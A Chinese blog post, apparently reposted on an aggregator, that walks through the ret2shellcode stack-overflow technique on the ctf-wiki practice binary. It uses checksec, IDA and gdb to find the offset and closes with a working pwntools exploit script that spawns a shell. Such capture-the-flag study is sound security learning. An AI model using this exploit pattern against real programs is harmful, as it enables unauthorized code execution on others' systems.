[二进制安全学习]ret2shellcode

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[二进制安全学习]ret2shellcode相关的知识,希望对你有一定的参考价值。

写在前面

懒狗的第二篇学习,开冲

ret2shellcode

利用原理

ret2shellcode,即控制程序执行 shellcode 代码。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

利用关键

1、程序存在溢出,并且还要能够控制返回地址

2、程序运行时,shellcode 所在的区域要拥有执行权限

3、操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。

例题

还是拿着ctfwiki的进行自我学习复现
首先checksec查看一下,源程序只开启了NX保护,并且有可读,可写,可执行段

在这里插入图片描述

接下来用IDA看看
在这里插入图片描述
看到了gets函数很容易想到可以进行栈溢出,同时将对应的字符串复制到 buf2 处,可以看见他在bss段
在这里插入图片描述
简单调试程序,看看这一个 bss 段是否可执行,有可读可写可执行
在这里插入图片描述我们就控制程序读入 shellcode,然后控制程序执行 bss 段处的 shellcode即可
下面来看看偏移,首先可以看见调用gets函数的地址0x08048593
在这里插入图片描述
那个80h+s很蒙蔽,直接去gdb调试看看
在这里插入图片描述
还有
在这里插入图片描述

因此我们不难得到esp0xffffd130ebp0xffffd1b8, s 相对于 esp 的索引为 esp+0x1c,

  • s 的地址为0xffffd14c
  • s 相对于 ebp 的偏移为0x6c
  • s 相对于返回地址的偏移为 0x6c+4
    因此不难写出payload
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

利用成功,完美打击
在这里插入图片描述

参考文章

https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/#ret2shellcode

以上是关于[二进制安全学习]ret2shellcode的主要内容,如果未能解决你的问题,请参考以下文章

堆栈认知——栈溢出实例(ret2shellcode)

字符串溢出(pwn溢出)--ret2shellcode

Ret2shellcode

ctf pwn 栈溢出攻防演绎流程图及学习路径v1.0(从入门到进阶,个人整理,持续更新)

记录一次入门pwn题--ret2shellcode

《有趣的二进制:软件安全与逆向分析》读书笔记:通过逆向工程学习如何读懂二进制代码